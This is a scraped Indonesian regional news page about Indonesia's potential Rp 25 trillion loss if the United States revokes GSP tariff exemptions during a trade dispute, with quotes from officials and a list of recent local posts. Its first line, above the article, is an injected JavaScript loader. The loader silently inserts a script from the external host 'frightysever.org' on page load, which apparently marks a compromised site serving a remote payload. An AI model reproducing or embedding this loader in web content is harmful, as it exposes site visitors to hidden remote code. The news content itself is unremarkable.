(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

RI Bakal Rugi Rp 25 Triliun Jika Perang Dagang dengan AS


Presiden Amerika Serikat Donald Trump memberikan sinyal perang dagang dengan mengevaluasi 124 produk ekspor asal Indonesia yang mendapat pembebasan bea masuk atau generalized system of preference (GSP). Jika GSP tersebut dihilangkan, maka produk ekspor Tanah Air akan terkena bea masuk dengan tarif yang lebih tinggi.

Ketua Tim Ahli Wakil Presiden Sofjan Wanandi mengatakan dari total perdagangan antara Indonesia dan AS sebesar USD 20 miliar, Indonesia mendapat manfat GSP USD 1,8 miliar atau sekitar Rp 25 triliun (kurs Rp 14.300/USD). Artinya jika perang dagang terjadi dan seluruh produk GSP dicabut AS, maka Indonesia harus menanggung beban USD 1,8 miliar tersebut.

“Dari USD 20 miliar trade kita dengan AS, itu paling kena USD 1,7-1,8 miliar. Tidak terlalu besar menurut saya, tapi akibatnya yang langsung dari GSP itu,” kata Sofjan di Kantor Kementerian Koordinator Bidang Perekonomian, Senin (9/7).

Dia melanjutkan, peringatan dari Trump tersebut seharusnya tak hanya dilihat dari sektor perdagangan saja, tetapi juga dari sisi investasi. Sofjan menilai AS selama ini banyak mengambil keuntungan dari investasi yang telah dia tanamkan di Indonesia.

Namun, mantan Ketua Umum Asosiasi Pengusaha Indonesia (Apindo) tersebut meminta pemerintah tetap waspada dan mempersiapkan diri. Sebab, banyak perusahaan di Indonesia yang bergerak di sektor padat karya yang bisa terkena dampak perang dagang AS-RI.

“Sebenarnya kita bukan prioritas utama dia, prioritas utama dia kan China, Eropa, dan negara-negara yang lebih besar trade deficit-nya. Cuma kita harus siapkan, AS enggak main-main dalam hal ini,” ujarnya.

Menteri Perindustrian Airlangga Hartarto sebelumnya menilai langkah AS mengkaji produk impor asal Indonesia merupakan hal yang lumrah, lantaran negaranya mengalami defisit perdagangan cukup besar dengan Indonesia.

Data BPS menunjukkan, surplus neraca perdagangan Indonesia dengan AS mencapai USD 3,56 miliar dalam lima bulan pertama 2018. Angka ini turun dari periode yang sama tahun lalu yakni USD 4,01 miliar. “Jadi, intinya ya tidak apa-apa mereka me-review tarif karena kita sudah menang (mencatat posisi surplus) lawan AS,” kata dia.(cel/net)

Reporter:Cel/net
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

35 menit ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

51 menit ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

2 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

6 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

6 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

7 jam ago

This website uses cookies.